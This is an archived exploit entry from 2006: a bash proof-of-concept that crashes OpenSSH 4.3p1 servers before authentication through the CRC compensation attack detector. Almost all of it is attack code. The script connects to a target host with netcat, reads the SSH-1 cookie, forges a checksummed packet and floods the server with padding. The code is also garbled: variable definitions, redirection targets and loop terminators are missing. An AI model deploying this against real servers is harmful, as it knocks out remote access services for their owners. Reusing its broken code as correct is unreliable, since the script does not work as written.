OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service







# OpenSSH CRC compensation attack detection DoS PoC.
#   Tavis Ormandy <>
# Yes, I really did implement crc-32 in bash.
# usage: script <hostname>

# victim hostname

# where the fifo is created to communicate with netcat

# make the fifos
mkfifo ${fifo}.in
mkfifo ${fifo}.out

# pre-calculated crc32 for packet header
declare -i crc=0xb2240279

# crc lookup table
declare -a crc32tab=(  0x00000000 0x77073096 0xee0e612c 0x990951ba 0x076dc419
 0x706af48f 0xe963a535 0x9e6495a3 0x0edb8832 0x79dcb8a4 0xe0d5e91e 0x97d2d988
 0x09b64c2b 0x7eb17cbd 0xe7b82d07 0x90bf1d91 0x1db71064 0x6ab020f2 0xf3b97148
 0x84be41de 0x1adad47d 0x6ddde4eb 0xf4d4b551 0x83d385c7 0x136c9856 0x646ba8c0
 0xfd62f97a 0x8a65c9ec 0x14015c4f 0x63066cd9 0xfa0f3d63 0x8d080df5 0x3b6e20c8
 0x4c69105e 0xd56041e4 0xa2677172 0x3c03e4d1 0x4b04d447 0xd20d85fd 0xa50ab56b
 0x35b5a8fa 0x42b2986c 0xdbbbc9d6 0xacbcf940 0x32d86ce3 0x45df5c75 0xdcd60dcf
 0xabd13d59 0x26d930ac 0x51de003a 0xc8d75180 0xbfd06116 0x21b4f4b5 0x56b3c423
 0xcfba9599 0xb8bda50f 0x2802b89e 0x5f058808 0xc60cd9b2 0xb10be924 0x2f6f7c87
 0x58684c11 0xc1611dab 0xb6662d3d 0x76dc4190 0x01db7106 0x98d220bc 0xefd5102a
 0x71b18589 0x06b6b51f 0x9fbfe4a5 0xe8b8d433 0x7807c9a2 0x0f00f934 0x9609a88e
 0xe10e9818 0x7f6a0dbb 0x086d3d2d 0x91646c97 0xe6635c01 0x6b6b51f4 0x1c6c6162
 0x856530d8 0xf262004e 0x6c0695ed 0x1b01a57b 0x8208f4c1 0xf50fc457 0x65b0d9c6
 0x12b7e950 0x8bbeb8ea 0xfcb9887c 0x62dd1ddf 0x15da2d49 0x8cd37cf3 0xfbd44c65
 0x4db26158 0x3ab551ce 0xa3bc0074 0xd4bb30e2 0x4adfa541 0x3dd895d7 0xa4d1c46d
 0xd3d6f4fb 0x4369e96a 0x346ed9fc 0xad678846 0xda60b8d0 0x44042d73 0x33031de5
 0xaa0a4c5f 0xdd0d7cc9 0x5005713c 0x270241aa 0xbe0b1010 0xc90c2086 0x5768b525
 0x206f85b3 0xb966d409 0xce61e49f 0x5edef90e 0x29d9c998 0xb0d09822 0xc7d7a8b4
 0x59b33d17 0x2eb40d81 0xb7bd5c3b 0xc0ba6cad 0xedb88320 0x9abfb3b6 0x03b6e20c
 0x74b1d29a 0xead54739 0x9dd277af 0x04db2615 0x73dc1683 0xe3630b12 0x94643b84
 0x0d6d6a3e 0x7a6a5aa8 0xe40ecf0b 0x9309ff9d 0x0a00ae27 0x7d079eb1 0xf00f9344
 0x8708a3d2 0x1e01f268 0x6906c2fe 0xf762575d 0x806567cb 0x196c3671 0x6e6b06e7
 0xfed41b76 0x89d32be0 0x10da7a5a 0x67dd4acc 0xf9b9df6f 0x8ebeeff9 0x17b7be43
 0x60b08ed5 0xd6d6a3e8 0xa1d1937e 0x38d8c2c4 0x4fdff252 0xd1bb67f1 0xa6bc5767
 0x3fb506dd 0x48b2364b 0xd80d2bda 0xaf0a1b4c 0x36034af6 0x41047a60 0xdf60efc3
 0xa867df55 0x316e8eef 0x4669be79 0xcb61b38c 0xbc66831a 0x256fd2a0 0x5268e236
 0xcc0c7795 0xbb0b4703 0x220216b9 0x5505262f 0xc5ba3bbe 0xb2bd0b28 0x2bb45a92
 0x5cb36a04 0xc2d7ffa7 0xb5d0cf31 0x2cd99e8b 0x5bdeae1d 0x9b64c2b0 0xec63f226
 0x756aa39c 0x026d930a 0x9c0906a9 0xeb0e363f 0x72076785 0x05005713 0x95bf4a82
 0xe2b87a14 0x7bb12bae 0x0cb61b38 0x92d28e9b 0xe5d5be0d 0x7cdcefb7 0x0bdbdf21
 0x86d3d2d4 0xf1d4e242 0x68ddb3f8 0x1fda836e 0x81be16cd 0xf6b9265b 0x6fb077e1
 0x18b74777 0x88085ae6 0xff0f6a70 0x66063bca 0x11010b5c 0x8f659eff 0xf862ae69
 0x616bffd3 0x166ccf45 0xa00ae278 0xd70dd2ee 0x4e048354 0x3903b3c2 0xa7672661
 0xd06016f7 0x4969474d 0x3e6e77db 0xaed16a4a 0xd9d65adc 0x40df0b66 0x37d83bf0
 0xa9bcae53 0xdebb9ec5 0x47b2cf7f 0x30b5ffe9 0xbdbdf21c 0xcabac28a 0x53b39330
 0x24b4a3a6 0xbad03605 0xcdd70693 0x54de5729 0x23d967bf 0xb3667a2e 0xc4614ab8
 0x5d681b02 0x2a6f2b94 0xb40bbe37 0xc30c8ea1 0x5a05df1b 0x2d02ef8d );

printf "[*] OpenSSH Pre-Auth DoS PoC by\n" >&2
printf "[*] Attacking %s...\n" $hostname >&2

# launch netcat coprocess
(nc -q0 $hostname $port < $ > $fifo.out; rm -f $ $fifo.out) &

# open file descriptors to coprocess
exec 3>${fifo}.in 4<${fifo}.out

# send identification
printf "SSH-1.8-OpenSSH DoS Demo --\n" >&3

# read server key and spoof bytes (i only care about the spoof bytes)
read server_identification <&4
printf "[*] remote server identifies as %s.\n" "${server_identification}" >&2

# read the cookie
cookie="$(hexdump -n 18 -e '"" 8/1 "%02x " " "'<&4 | cut -d" " -f11-18)"

printf "[*] IP spoofing cookie was %s.\n" "${cookie}" >&2

# now send my response
printf "\x00\x00\x08\x3d" >&3        # packet length
printf "\x00\x00\x00\x03" >&3        # packet type
printf "\x03"             >&3        # cipher type

# print spoof bytes
printf "\x${cookie// /\x}" >&3

# now calculate checksum of spoof bytes
for i in ${cookie}; do
  declare -i buf=0x${i}
  let 'crc = crc32tab[(crc ^ buf) & 0xff] ^ (crc >> 8)'

# now send some random crap for padding.
for ((i = 0; i < 2095; i++)); do
  printf "\x41" >&3
  let 'crc = crc32tab[(crc ^ 0x41) & 0xff] ^ (crc >> 8)'

printf "[*] checksum should be %#x\n" $crc >&2

# now send the checksum to server
printf "$(printf "\\\x%x\\\x%x\\\x%x\\\x%x" $(((crc >> 24) & 0xff)) \
  $(((crc >> 16) & 0xff)) \
  $(((crc >>  8) & 0xff)) \
  $(((crc >>  0) & 0xff)))" >&3

printf "\x00\x03\xff\xf8" >&3        # packet length

# junk
perl -e 'print "\x00"x"262144"' >&3

# close file descriptors
exec 3>&- 4<&-

printf "[*] All done.\n" >&2

# [2006-09-27]